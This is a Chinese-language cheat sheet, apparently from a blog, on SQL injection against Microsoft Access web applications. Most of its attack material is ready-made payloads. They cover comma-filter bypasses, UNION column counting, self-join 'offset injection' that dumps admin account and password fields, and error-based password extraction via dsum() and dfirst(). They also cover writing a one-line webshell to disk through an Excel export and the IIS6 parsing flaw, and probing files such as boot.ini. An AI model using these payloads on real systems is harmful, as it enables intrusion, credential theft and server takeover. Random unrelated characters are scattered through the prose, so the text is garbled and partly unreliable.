參考索抓,http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
常用語(yǔ)法
MID(str,start,length) 可以用來(lái)提取母字符串中一部分特定的子字符串菱属。
ASC() 可以返回參數(shù)中字符對(duì)應(yīng)的ASCII值
IIF(condition,true,false)
注釋符
%16和%00都會(huì)起到截?cái)嗪罄m(xù)語(yǔ)句的效果。
limit替代
Access數(shù)據(jù)庫(kù)不支持LIMIT操作符逸爵。
但是悠砚,它可以使用TOP操作符來(lái)限制SELECT查詢只顯示結(jié)果集里面的第幾行幅疼。當(dāng)TOP操作符接收到一個(gè)整數(shù)形式的參數(shù)時(shí)米奸,如TOP 3,那么意為著返回結(jié)果集里面的前三行爽篷。
LAST操作符可以返回結(jié)果集中最后面的記錄悴晰,TOP與LAST組合使用的話可以查詢?nèi)我庵付ǖ慕Y(jié)果集。
繞過(guò)逗號(hào)被過(guò)濾
參考,https://forum.90sec.org/thread-8617-1-1.html
其實(shí)不用逗號(hào)也可以實(shí)現(xiàn)注入铡溪。首先大家要明白Access是如何比較兩個(gè)字符串的漂辐,比如比較 “abb123”和 “ABc123”這兩個(gè)字符串的大小,從兩個(gè)字符串的第一個(gè)字符開(kāi)始比較棕硫,由于Access比較字符串是不區(qū)分大小寫(xiě)的髓涯,兩個(gè)字符串的第一個(gè)字符相等接著比較下一個(gè),直到比較第三個(gè)字符時(shí)因?yàn)閏的asc碼比b大哈扮,這時(shí)就停止比較纬纪,認(rèn)為第二個(gè)字符串比第一個(gè)大。如果是比較 “abc1234”和 “abc123”滑肉,當(dāng)?shù)诙€(gè)字符串比較到最后一個(gè)字符時(shí)第一個(gè)字符串還有要比較的字符包各,就認(rèn)為第一個(gè)字符串比第二個(gè)大。
知道了原理我們就可以用這種方法來(lái)猜解密碼靶庙, 32位md5字符集中單個(gè)字符從小到大的排列順序?yàn)?“0123456789ABCDEF”问畅,比如我們要猜的md5密碼>=’3’成立,但<’4’錯(cuò)誤六荒,就可以知道密碼的第一位是3护姆,如果密碼>=’3A’成立,<’3B’錯(cuò)誤掏击,則密碼的第二位就是A卵皂,如果密碼>=’3A5’成立,<’3A6’錯(cuò)誤铐料,則密碼的第三位就是5渐裂,以此類推豺旬,很容易猜出密碼钠惩。
未知列名的注入方式
當(dāng)前頁(yè)面有35個(gè)字段
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,* from admin
返回錯(cuò)誤頁(yè)面
不斷枚舉測(cè)試
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
沒(méi)有報(bào)錯(cuò),說(shuō)明admin有22-16=6個(gè)列
偏移注入
借用數(shù)據(jù)庫(kù)的自連接查詢讓數(shù)據(jù)庫(kù)內(nèi)部發(fā)生亂序族阅,從而偏移出所需要的字段在我們的頁(yè)面上顯示篓跛。
成功與否看技巧與運(yùn)氣,不能保證100%成功坦刀,無(wú)需管理員賬號(hào)密碼字段愧沟,直接爆賬號(hào)密碼,很大程度上解決猜不到字段的問(wèn)題鲤遥。
偏移注入的利用條件:
- 已知管理表名
- 已知任意字段(一個(gè)或多個(gè)會(huì)增加機(jī)率沐寺,最常見(jiàn)的就是id)
成功率的因素
- 管理表的字段數(shù)越少越好(最好是三個(gè):id 賬號(hào)字段 密碼字段)
- 當(dāng)前注入點(diǎn)的腳本內(nèi)查詢的表內(nèi)的字段數(shù)越多越好(最好有幾十個(gè),這樣基本成功率是100%)
- 已知的字段數(shù)越多越好(id一般存在)
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
字段數(shù)=order by 出的字段數(shù) - 星號(hào)的字段數(shù)x2
因?yàn)檫@里一共是22個(gè)字段盖奈,而星號(hào)代表的admin表字段占6個(gè)混坞,6x2=12 22-12=10
如果爆出來(lái)的字段不夠多,那么
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
其實(shí)就在上面的語(yǔ)句基礎(chǔ)上插了個(gè)a.id,b.id
或者再多自連接一次
union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
移位溢注
源自,https://gh0st.cn/archives/2017-03-08/1
利用條件同上究孕,確定了admin表的列數(shù)量之后(這里為6)啥酱,可以開(kāi)始前移,直到看到頁(yè)面回顯admin表的所有字段厨诸。但是如果碰到非連續(xù)數(shù)字的镶殷,那么只會(huì)顯示admin表中的部分列。
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,admin.* from admin
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,admin.*,35 from admin
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin
該方法也適用于Mysql
dsum()和dfirst()的報(bào)錯(cuò)注入
來(lái)源已不可考
select * from admin where id=1 and dsum((select top 1 password from admin),'admin')
select * from admin where id=1 and dfirst((select top 1 password from admin),'admin')
/list.asp?id=123 and dsum(chr(39)%2bcstr((select+top+1+userpass+from+users)),'admin')
Microsoft JET Database Engine 錯(cuò)誤 '80040e14'
字符串的語(yǔ)法錯(cuò)誤 在查詢表達(dá)式 'Sum('ES-DC08598F8C5CE7F85577EDE7530773)' 中微酬。
寫(xiě)webshell
需要結(jié)合IIS6的解析漏洞绘趋,把表cmd的內(nèi)容導(dǎo)出為物理路徑的一個(gè)EXCEL文件
create table cmd (a varchar(50))
insert into cmd (a) values ('一句話木馬')
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd
文件枚舉
如果指定的文件是存在的,那么Access數(shù)據(jù)庫(kù)便會(huì)拋出 the database format is invalid 這樣的報(bào)錯(cuò)信息颗管。
http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00
另外一種枚舉文件的方式是指定通過(guò)指定一個(gè) database.table 條目埋心。如果指定的文件存在,那么Access數(shù)據(jù)庫(kù)便會(huì)拋出 database format error的錯(cuò)誤信息忙上。
http://locahost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.init.TableName%00